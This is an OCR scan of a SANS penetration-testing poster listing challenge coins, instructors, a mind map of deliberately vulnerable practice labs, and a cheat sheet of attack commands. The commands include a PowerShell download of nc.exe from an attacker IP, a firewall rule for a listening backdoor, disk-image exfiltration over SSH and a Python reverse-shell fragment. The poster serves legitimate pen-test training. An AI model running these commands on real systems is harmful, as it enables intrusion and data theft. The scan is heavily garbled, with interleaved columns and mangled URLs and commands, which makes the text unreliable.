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Many SANS Pen Test Courses include a final full day (Day 6) of hands-on computer security challenges that , : P
hammer home the lessons taught throughout the entire course. The top winners of this full-day ERIE ' Steve George Erik Van Patterson Eric

Capture-the-Flag event in each course receive the much-coveted challenge coin associated with the course. : Armetrons akes Puggennot conrad £ - V U I-N E RA B I-E A P PS/SYSTE M S

Each coin is unique to its associated course, with a custom logo, special tag line, and theme. Coins are
available for SANS 460, 504, 542, 560, 573, 575, 617, 642, 660, and 760 level courses, as well as the SANS
NetWars Experience. The challenge coin congratulates the victors on their accomplishment and challenges

them further to use their award-winning skills to make a positive difference in their workplace and career. : l N : - | . Created by Aman Hardikar .M
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Building your skills through hands-on lab experimentation is vital in the life of a penetration tester.
Chris i Adrien Kevin Matt Moses 5 7 " , g i i
Crowley deBeaupre  Fiscus Edmondson  Frost .' Aman Hardikar .M built a hugely useful mind map showing various free, publicly available

R 2 ( {1 . S distributions, challenges, and other resources for practicing your skills. V' before proceeding.
’ % : | A | “GPYC | 4 i, { S The mind map is auailable online at: BadStore [Perl] © https://github.com/jvhoof/badstore-dacker
cerification ; I certification - ! y - o

. . . Bazingaa [PHP] https://github.com/jovyn/Bazingaa
amanhardikar.com/mindmaps/Practice.html e
Bryce Jon Hassan el James Jeff Brandon Tim

CIPHERANSWER  CIPHERANSWER  CIPHERANSWER  CIPHERANSWER CIPHER ANSWER - FS2  Galbaith Gorenflo Hadary Leyte-Vidal McJunkin McCrilis Medin ARLea Feel free to use this poster version to check off the practice labs you've visited and completed.

Bodgelt Store [Java/JSP] http://code.google.com/p/bodgeit/

BTS PenTesting Lab [PHP] https://github.com/CSPF-Founder/btslab/
Butterfly Security Project [PHP] http://thebutterfiytmp.sourceforge.net/

? Thank you, Aman, for Ietting us include the mind mapin this poster. BWAPP / bee-box VM [PHP/MySQL] © http:/isourceforge.net/projects/bwapp/files/bee-box/
] 1 3 Commix [PHP] - (Command Injection) https://github.com/stasinopoulos/commix-testbed
g ¢ / 1 ) 1 - : ' CryptOMG [PHP] - (Crypto-implementation flaws) https:/igithub.com/SpiderLabs/CryptOMG
‘ -

Damn Vulnerable Node Application (DVNA) [Node)5] https://github.com/isp1r0/DVNA

Damn Vulnerable Node)s Application (DVNA) [Node]5] https://github.com/appsecco/dvna

» w’ &\ ’ £ http://sourceforge.net/projects/virtualhacking/files/os/dvl/ Damn Vulnerable Linux
\ \'1 { | Damn Vulnerable Web App (DVWA) [PHP] http:/iwww.dvwa.co.uk/
L

http:/rhackingdojo.com/downloads/iso/De-ICE_$1.100.is0 level 1.100

. https://github.com/snoopysecurity/dvws
Jorge Larry Jim http:/fhackingdojo.com/downloads/iso/De-1CE_51.110.is0 level 1.110 Damn Vulnerable Web Services (DVWS) [PHP] o D

= i i https://github.com/Cyrivs8%/docker-dvws
X . o s % . | ‘o s 3 B f 3 ! Orchilles Pesce Shewmaker Skoudis 2 http:/hackingdojo.com/downloads/isa/De-1CE_51.120.i50 level 1.120 Heorot De-ICE \
[c]),[e]:] s G GX i 4

Damn Vulnerable Web Sockets (DVWS) [PHP] https://www.owasp.orgfindex.php/OWASP_Damn_Vulnerable Web_Sockets_(DVWS)

AN & ol B v . : : 4 hs : http://hackingdojo.com/downloads/iso/De-1CE_52.100.is0 level Z.100

Firing-range [Java, JS1 © https.//github.com/google/firing-range
http:ffhackingdojo.com/downloads/iso/De-ICE_51.123.is50 hackerdemia

Foundstone Hacme Bank [dotNET/MSSQL] https:/fwww.owasp.orgfindex.php/HacmeBank
http://sourceforge.net/projects/holynix/files/ Holynix

Foundstone Hacme Casino [Rails] https://github.com/spinkham/Hacme-Casino

. [ 1 | o . comibl _page/ Kiaptri
CIPHER ANSWER CIPHER ANSWER CIPHER ANSWER CIPHER ANSWER CIPHER ANSWER 1 : " . e e hitp-/owwe kioperic comyblog/test page Pt u DVWA; Mutillidae; Ghost; OWASP Hackademic; WackoPlcks; Vicnum [PHP]
! " . | - http://sourceforge.net/projects/lampsecurity/ LAMPSecurity
s RS

GameOwver [PHP, Java] _[ Webgoat; OWASP InsecureWebApp; * WAVSEP; Bodgelt Store; * PuzzleMall; Zap WAVE [Java)
hetpe/fsourceforge.net/projects/virtualhacking/files/os/metasploitable/

1al

table l http:/isourceforge.net/projects/null-gameover/

] NetWars And, best of all, each coin includes a special cipher that encodes or encrypts 1 peter off Matthew Jake S : hetps://github.com/rapid7/metasploitable3
part of a hidden message. The coins include all kinds of ancient, modern, and i Szczepankiewicz  Thyer Toussain williams Wright : hetpu//neutronstar.org/goatselinuchtml  neutronstar

custom-created ciphers ready to challenge and delight the winners. Each coin i v i sttt i S = Aot eba it

05 / BUILDS hackxor [Perl] https://sourceforge.net/projects/hackxor/
encodes a single word, so you can analyze your prize and determine its secret : 4 . . . . . .
g 3 : . “ b A httpa/fvww.pwnos.com/ WnOS
right away. Then, as you earn multiple coins, you can crack the larger message The SANS family of instructors bring an incredible amount of worldwide, B ivenw pwnos P

and achieve the ultimate SANS Pen Test coin victory. 1 i real-time practical experience into the classroom and have both a ' s s il s ke B

passion and a gift for helping students master complex subject matter. ekl i Attt st bttt o e ol i
Look for our Coin-A-Palooza events at SANS Pen Test Austin and the SANS E : They are true leaders in the information security space. Each instructor npe amaha e com/prctieImAR AN A Lsly  Ulimael AN
Pen Test HackFest for the chance to earn multiple coins at a single event! ! ; starts with and continues perpetually on a rigorous vetting process to : rp oo pege o

Graceful's VulnVM [PHP] https:/iwww. gracefulsecurity.com/vulnvm/

Hackazon [PHP/MySQL (REST)] https://github.com/rapid7/hackazon

httpsy fwww.pentesterlab.com/exercises Pentester Lab

Juice Shop [Node]5] http://bkimminich.github.io/juice-shop/&/

LAMPSecurity [PHP/MySQL] http://sourceforge.net/projects/lampsecurity/
MCIR [PHP/MySQL] https:figithub.com/SpiderLabs/MCIR

Moth [PHP and java] http:/iwww bonsal-sec.com/en/research/moth.php

node.nV [Node)5] https:/igithub.com/nVisium/node.nV

NoSQLi Lab [PHP/MongoDB] https://digi.ninja/projects/nosqli_labphp

- : ensure their expertise and values align with our mission to https://github.com/binjitsu/binjitsu  binjitsu (CTF framework) 3 http:/isourceforge.net/projects/mutillidae/
CIPHER ANSWER 4 . - - ) I : -

- stre ngth en enterp rise and glo bal information secu rity." https://github.com/isislab/CTEd CTFd (Modifiable CTF) | . e NOWASP / Mutillidae 2 [PHP] https://github.com/philipsoutham/docker-mutillidae
: https://github.com/SpiderLabs/MCIR  MCIR (configure vulnerability test beds) | l https:iigithub.com/citizen-stig/dockermutillidae

— Stephen Sims, Curriculum Lead, SANS Penetration Testing and Cyber Defense Essentials

https://github.com/Nakiami/mellivora Mellivora (PHP based CTF engine) .| WEB APPLICATIONS OWASP Bricks [PHP/MySQL]) http://sourceforge.net/projects/owaspbricks/
https:/igithub.com/Unreal Akama/NightShade NightShade (Simple CTF framework) '| OWASF BWA [Java, PHF, ASP.Net] http:/icode.google com/p/owaspbwa/

https:/fopencyberchallenge.net/ OCCP (Open Cyber Challenge Platform) | OWASP Hackademic [PHP) https://github.com/Hackademic/hackademic/ O

https:/igithub.com/Gallopsied/pwntools pwntools (Framework for developing CTFs) | 2 ) OWASP Node js Goat Project [NodeJs] ¢ https:/fwww.owasp.org/index.php/OWASP_Node_js_Goat Project

https:igithub.com/edibledinos/pwnypack pwnypack (CTF development Toolkit) =\ hetps://github.com/OWASP/NodeGoat

http://sourceforge.net/projects/gns-3/ GNS3 (Graphical Network simulator) | 5 . — OWASP RailsGoat [Rails] https://railsgoat.cktricky.com/index.html

http://mininet.org/ Mininet (SDN Emulator) | - % ; OWASP Security Shepherd [Java/Tomcat/MySQL] https:/iwww.owasp.org/index.php/OWASP_Security Shepherd

http:/finformatica.uv.es/~carlos/docencia/metinvm/ NETinVM (Network in a VM) | OWASP SiteGenerator [dotNET] https:/iwww.owasp.org/index.php/Owasp_SiteGenerator

https:/fwww.opendaylight.org/ OpenDaylight (Open Source SDN Platform) \ OWASP WebGoat.NET [dotNET] https://github.com/jerryhaff/WebGoat.NET

MORE OFFENSIVE THAN EVER

https/fwww.docker.com/ \ OWASP WebGoatPHP [PHP] https://www.owasp.orgfindex.php/WebGoatPHF

https://smartos.org/ l. Container Platforms Pentester Lab [Bash, java, Ruby, Python] https:/iwiww. pentesterlab.com/exercises

WAS H l N GTO N ! D.C. M ET RO AR EA I . https://github.com/joyent/sdc SmartDataCenter .': | SecuriBench [J2EE) http:fisuif.stanford.edu/~livshits/securibench/
- https://www.openstack.org/ OpenStack —"—‘—-{ https://suif stanford edu/~livshits/work/securibench-micra/
SUMMIT: 20+ Speakers

[ 3% A SentinelTestbed [PHP/SQLIte] https:figithub.com/dobin/SentinelTestbed
A TRAIN'NG: WO rld -ClaSS |nStru CtO rs | https://github.com/dineshshetty/Android-insecureBankv2 Android-InsecureBankv2 [Android] ) SocketToMe [Web Sockets] http://digi.ninjalprojectsisockettome.php

https://payatu.com/damn-insecure-and-vulnerable-app/ Damn insecure and vulnerable App (DIVA) [Android] sqli-labs [PHP] https://github.com/Audi-1/sqli-labs

https://code.google.com/p/dvaa/ - Damn Vulnerable Android App (DVAA) [Android] sqlilabs [PHP/MySQL] https://github.com/himadriganguly/sqlilabs

SQLol [PHP] https://github.com/SpiderLabs/5QLol O

https:/igithub.com/logicalhacking/DVHMA Damn Vulnerable Hybrid Mobile App (DVHMA) [Android]

: hitps://github.com/CyberScions/Digitalbank Digitalbank [Android]
uThe SummitS by SANS bring together some Of the https://github.com/CSPF-Founder/DodoVulnerableBank DodoVulnerableBank [Android] VulnApp [ASP.net] http:/fwww.nth-dimension.org.uk/blog. php?id=g2
best mindS in secu rity. 1 always learn new th|ngs http://securitycompass.github.io/AndroidLabs/ ExploitMe Mobile Android Labs [Android] PRACTICE LAE vuLnDAP [Go] - (vulnerable LDAP based web app) https://digi.ninja/projects/vulndap.php

. = ” http:/fimthezuk. bl t.com/2011/07/creating-vulnerable-android-application.htmi MoshZuk [Android] . . :
to brlng baCk to my team. Itis money Well spent. , P ogspo & PR vulnerable-node [Node]s] https:/igithub_com/crohn/vulnerable-node
A https://github.com/OWASP/MSTG-Hacking-Playground MSTG-Hacking-Playground [Android]

Twitterlike [PHP] ©  https://github.com/sakti/twitterlike

vulnode [Node]S] - httpsu/github.com/dpnishant/vulnode

— Peter Kuzmiskas, Pudential

https://github.com/fjackMannino/OWASP-GoatDroid-Project OWASP Goatdroid [Android]

Vulnerawa [PHP] http://hackercool.com/2015/08/vulnerawa-vulnerable-web-app-for-practice/

https://github.com/tanprathan/sievePWN sievePWN [Android] WackoPicko [PHP] https:/igithub.com/adamdoupe/WackoPicke

. ; https://github.com/Lance0312VulnApp VulnApp [Android] MOBILE APPS Web Security Dojo [Java, PHP, Python, Ruby] http://www.mavensecurity.com/web _security dojo/
EVENING BONUS SESSIONS: _.

0 - https://github.com/pwnetrationguru/dvfa/ Damn Vulnerable Firefox0S5 Application (DVFA) [Firefox0S] XVWA [PHP/MySQL] https://github.com/s4nThO/xvwa
Three Nights o

http/damnvulnerableiosapp.com/ Damn Vulnerable iO5 App (DVIA] [I05]

CORE EVENING BONUS SESSIONS: http://securitycompass.github.lofiPhoneLabs/ = ExploitMe Mobile iPhone Labs [i0S] BGA Security ~  https://premium.bgabank.com/

3 = & i o i CrackMeBank http:/fcrackme.trustwave.com
H 5 1 https:/iwww.ivrodriguez. com/mobile-ctf/ Mobile CTF [i0S] P
One Ng of , i P g

. http://code. le.com/pfowasp-igoat/ OWASP IGoat [I0 Embedded Security CTF https://microcorruption.com
EXPERIENCE For upcoming dates and Ld £008 iplowas-ig lios]

EHEEFIE‘TIT' location, visit O EnigmaGroup http://www.enigmagroup.org/
E http:/# .alf.nu/
with Coin-A-Palooza M‘—— sans.org/hackfest https://github.com/torqueSS/AWS-Vulnerable-Lambda = AWS-Vulnerable-Lambda [AWS] @ scape pi/fescape.alf.nu

Google Gruyere http://google-gruyere.appspot.com/

o Practice

Hack This Site http:/iwww. hackthissite.org/

https://github.com/RhinoSecurityLabs/cloudgoat cloudgoat [AWS]

http://flaws.cloud/ fIAWS [AWS]

https:/igithub.comiwickett/lambhack lambhack [AWS]

HackThis hittp:fivwww.hackthis.co.uk/f
https://github.com/ThreatResponse/serverless-vulnerable-azure serverless-vulnerable-azure [Azure]

ANNUALLY IN THE

; ; HackQuest httpu//www.hackquest.com/ A r ,e 6'5
T Hack.me https:/fhack.me/
s I RI N G Hacking-Lab https://www.hacking-lab.com

hetpt/captf.com/ CAPTF Repo Hacker Gateway https:/fwww.hackergateway.com/

A U ST' N . T E )( A S ; ¥ herpieritimasg/chie] CIFHiee . 3 Hacker Test http://www. hackertest.net/

httpsy//github.com/ctfs CTF write-ups repository o4 Heilitebee https:/riww.hackthebox.eu/ \\_

https://github.com/facebook/fbctf FBCTF

hackxor https:/ihackxor.net/

hittp:/wwew, reddit.com/r/securityctf Reddit CTF Announcements

Halls Of Valhalla http://halls-of-valhalla.org/beta/challenges

Pen
Courses!

http:/ishell-storm.org/repo/CTF/  © shell-storm Repo Hax.Tor http://hax.tor.hu

https://www.vulnhub.com VulnHub Holiday Hack Challen, https://holidayhackchallenge.com
CTF SITES ONLINE SITES Y = P ol ¢

wor'd- C'ass INCTF https://portal.inctf.in/

https://github.com/secvulture/dvta Damn Vulnerable Thick Client App (DVTA) [dotNET] Mod-X hitpe//www.mod-x.co.uk
Instructors

https://github.com/praetorian-inc/DVRF DVRF (Vulnerable Router Firmware) OverTheWire http://iwww.overthewire org/wargames/

https://github.com/nikosdano/fesscomm Fosscomm (Shellshock Labs) Play on Demand https://pod.cybersecuritychallenge.org.uk/

http/fwww. payatu.co m!hacksys{xlmme—wlnerable-dﬁver! HackSys (Vulnerable Windows d(ivw) = == Root Me http//www.reot-me.org/Tlang=en

http://pivotproject.org Pivot Challenges (Firmware Analysis) - . Security Treasure Hunt hittp:/fwww.securitytreasurehunt.com/

https://github.com/jseidl/virtuaplant VirtuaPlant (ICS Simulator) Smash The Stack http:/fwww.smashthestack.org

hittp://www.rebootuser.com/?page_id=1041 VulnVelP (Vulnerable VolP Service) 5QLZoo http://sqlzoo.net/hack/

http://www.rebootuser.com/?page id=1041 VulnVPN {(Vulnerable VPN Service) [ B TheBlackSheep and Erik http:/fwww bright-shadows net/

http:/fwww.thegreycorner.com/2010/12/Introducing-vulnserver.html Vulnserver (TCP server application) ThislsLegal htepe//thisislegal.com/

www.exploit-db.com MISCELLANEOUS Try2Hack http:/fmwww.tryZhack.nl/

www.oldapps.com 1 Old Saftware X55 Game https://xss-game.appspot.com/

www.oldversion.com ’
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. i S i - g = 3 -n 1 -
= | | 110,30 80,5 serece-ser
— -. o 1o-10-5_ | Se 5 PowerShell Essentials |
$ IPV6ADDR=fc00:660:0:1::46 { PEMQ sweef O% Concept What’s it A Handy Alias | ' ' l
§& PORT=110 && socat Cowduct 4 P2 5 lf-in features: Ho¢
TCP-LISTEN: $PORT, reuseaddr, space, ustag °J Lt PS C:\> Get-Help |Showshelp& |ps c:\
: o sX>
fork TCP6: [SIPV6ADDR] : SPORT c,.gmaTI‘-""- lu poshax?[fnfa 1ok, @é‘-‘-- [emdlet] examphgsp [mdlet]help ‘
. o = Usage SCLI™ 71 rgat machines: SR -exanples -examples
Redirect [Pv6 listening TCP port to find adaiftona 4 '\ = & ’
localhost [Pv& I 3 T PS C:\> Get Shows alistof |Ps c =
. _ , i : = :\> gem St
: . , . ) . Command ;
Usage scemnario: Pivoting a connection Find Juicy Stuff tn the File System One-Line Web Client s e y.
across the nefwork via [PvE to a local . Win 7: PS C:\> (New-Object . Bl S Setc Shows properties | PS C:\> [cmdlet] :
”If‘QH‘I‘Ihg ?OTIL o r?l/q" a”ow;ng $ find /PATH/TO/DIRECTORY System_Net‘Webclient) .DownloadFile ("http: // Add a FrreWa“ RHLE ' Member & methods | gm \'. lﬂ u o T-P.TW"""al
[Pv4-Focused TCP fooffs fo attack ;name "FILE_FII'ITEIS{;‘R;;?& 10.10.10.10/nc.exe", "c:\nc.exe") PS C:\> New-NetFirewallRule -Action Allow ' .'\ W
-exec grep -i " " “Displavh Peniaatar— = PS C:\> ForEach- |Takeseachitem |PS C:\> [cmdlet] i .
across [Pvob. t1\: prink 2»/dev/nuil o e e T <IPAEDR§ ame Pentester-C2 -RemoteAddress Object { §_ } ﬂ;nﬂfe"'%ea'}d | % { [cmdlet] ( - vjmport 'E;E‘{'}‘
— - "http://10.10.10.10/nc.exe" -outfile e - {Y spavn (" [pin/b2
"e:\nc.exe" Add a Firewall vule to the built-in Windows Firewall | PS C:\> Select ' I | hrough a4 &
’ . ‘ : - |searches f : = - - 4 throud
What's My Public [P address? Search /PATH/TO/DIRECTORY for . . | ‘ = frs e e L) e o o raw skl 92
. TON—— | Files of the fype "FILE-FILTER” Fhsfahfmif-e a web client to download a File (such as nc.exe) U'Mgg. scenarto: Allow connections mfo a new port for a output, like grep | [string] : f-.arhﬂll'f"ai 5255100 ) Lo and
zip.com Ceig., * fort) Hhat-contaiin e from a given URL. [istening backdoor, a service ready to deliver an exploit v .. Nfter axploifing @ S-lj“s s P
" » y : 3 | ; # . r— ' —— 0% . 0
or STRING”, displaying the line of the | Usage scenario: Moviug files Ll thts o & Pl () Usast 358005 Whls comboar st
le with “STRING” ' o ' . oy — <y b pething ava S L T co i
s dig +short fam«e { NG and the file Featured n: SEC560 Busiltin Port Scammay! Find Juicy Stuff tn the File System _; . pasters to utiliz2 Ta'rml;'son 2.9, ¥ sudo, V' i
= | . 1 - ! = ‘. 0 s | A KV
myip.opendns.com = T = o o ds o c:\PATH\TO\ = ' ire a bermaindt 5
: : A = - DIRECT ~f5  yequure
databuase connechion shrings | Get Firewall Rules I;et.Sockets.Tcpclient) .Connect ("<IPADDR>" , 7 L . ~ n STRING} =y i Faaf'ur-acl th /
or ' iy ’ ) ) "Port T | L 2> " = o Df 3 4 - ’
‘ . ‘ encryption ke:yj., and a ?uufﬁf'ud'-e of PS C: \f’ G?t—NetFirewallRule -all | S = opantn o STR.'NG”’ df‘IPfay."hg fhegﬁ'grhogy for files f‘fﬂaf contain the ) 0 2 a.
$ wget -qO- ifconfig.me/ip "H":" “-‘Tf‘;f ;f‘f“ﬂf during Out-Gridview . Conduct a port scan of a target P address, usig ouly builf- STRING., ame and the line containing the B R S
post-exploitarfion, p > Featuraes e
S C:\> Get-NetFirewallRule -all : : P
: | Export-csv Umﬂe Scenario: Fi . - Ythou R
, <file path. > ! . ; ) : t-Frind Passwor ; : 2erse S
izi:;ti i;i*;::jhizhzd?{;i“ of the B o csVv. Us.age :c{enarm: Discover open ports on other targef machines, Qucryption Keys, aud 4 mef{ii;!?’ j::aba:e ;OT#{:C'LM’“ strings,; 53;;1:: ¢ "exec \"imp i
(5 Yuwn o, ‘ Lick Hho ol [ - . A | using ouly built-in features. - post-exploitat: er-userul ifems durin . - Socket () - Ort sock
o S e Make Output Easier Fo Read 2 frrewall vules and display thewm i grid-view or CSV/, | ' PP e Ploitation, s :ll:lile 1: proa (_)_ 2 s'connect( ( :‘.?:AD;ubProcesa S
age scenario: er exploifing a — - U . . _ ) DL ' ell=p = s o R> ' il
. . it ’ sage scenarto: Review the W e . Tue, Cess.p +<PORT>
machine, especially via client-side $ alias ccat='pygmentize e T f:! 2 Windows Em:ff—rtq firewall rules fo A5 std?rmsubprstdout=30bproce3 oPen(s.recy (1024 ))\n i
exploit, determine the external 1P | -0 bg=dark,style=colorful’ Ports fo use for attacks and pivots. ‘ ' : std"'n‘"‘subpro:cess.PIPE S, &
address of that machine to better _ . ' )*‘proc'stderresﬂ.PIPE S.send (
understand where the machine is Cat a file using colorful outpuf. JRITY o Creat Bk Proc. stdout read (
.. : : ‘ _ are a rey. :
and !l;ow tF 15 accessing the oufside Usage scevario: Review XML, code, ) erse Netcat-(ik, shell cop, £
world. : . S C Jage s €Clton
or cos:rfzgw_ahon Files v a manner | M D ” e X e K U N G — F U | Scenari, P"”{"‘E'\'Pfo.-qu
Fhat is easier to read and makes . 104 fo create 4 stab|
’ the world a more beautiful place. 2 shell :
C:\> netsh wlan set hostednetwork
£ mode=allow ssid=<MYSSID>
‘ key=<MYPASSWORD> && netsh wlan start hostednetwork .
Euncrypted Exfil Channel! , - Website Clower Configure a Windows machine as a WPA2-PSK Access Point Libeng e o
i e ol 3 . Python 2.x
# dd if= i : -r - Usage scenario: - b Uiy '
b —65;36/de‘r/rd15k05182 e Service EV-QFB Second ¥ wget -r -nH SURL systems Wir;—ig ihare b Wlndow? machine’s Internet access with other
= conv=noerror, sync Cl , : o =S5 LYy O nse a Windows machine to attract wireless cli ¥ =5 Python -m SimpleHTTPServ.
| ssh -C user@10.10.10.10 5 while (true): d r one a website fo the local into joining it for exploitation purposes ients s w '. ' er 8000
"cat >/tmp/image.dd" -z -w3 10.10 16 18 gg }W Ifj.ff'-QPH. ’ ) 4i 1\ \ { .. { B ( PH!‘LIOH 3.x
. . 5 ] b .
/dev/null && echo -e Usa : : : 3 ( ! th
: _ g2 Scenario: Creafe a 2a\s netsh : . Python3 -m http.s
" "o " g P . h . ' iL - Seérver 8000
. Service is up"; sleep 1; (B alikes wosbiite to e - Tteeana 1nEerfac:e portproxy add v4tové listenport=<LPORT> ?yHnowC Web Cliewn ( |
xfiltrate the contents of anm done : . naddress=0.0.0.0 connect - - | luvoke b
tmage via SSH to anoth tmpersonation attacks, such as a CEPOrt=<RPORT> connectaddress=<RHOST> C L up sy fmr‘v«er on porf 8000 and serve
avother e : . S . : ) : 2 curren ki ; :
; : site to Configure a TCP t £ working director
vaachine, camprexting (L) the Measure w.hefher_ a service ts still up | 5 :ftlr:_cf victims tfo during Tain i e I;Er Erwardlng relay from IPv4 to IPv6 (v4tovd, v6tov, Python Lox I | " sustem: £or datiilsad Y of the file
confent fo speed up framsfer by connecting to its port every 1 pear Phishing attacks, BReTEcal. th —c 'import “rlllhj{ EJ El’O 10.10") .read() l
i secomnd. } Usa s P . pythet wpeep:/ /102570 Usage scenario: S
‘ CR———a | | bui{fi—iie;iiégioiizﬁz a TCP connection through a Windows machine using urlllb?-urt:;iinl arto: Moving £iles,
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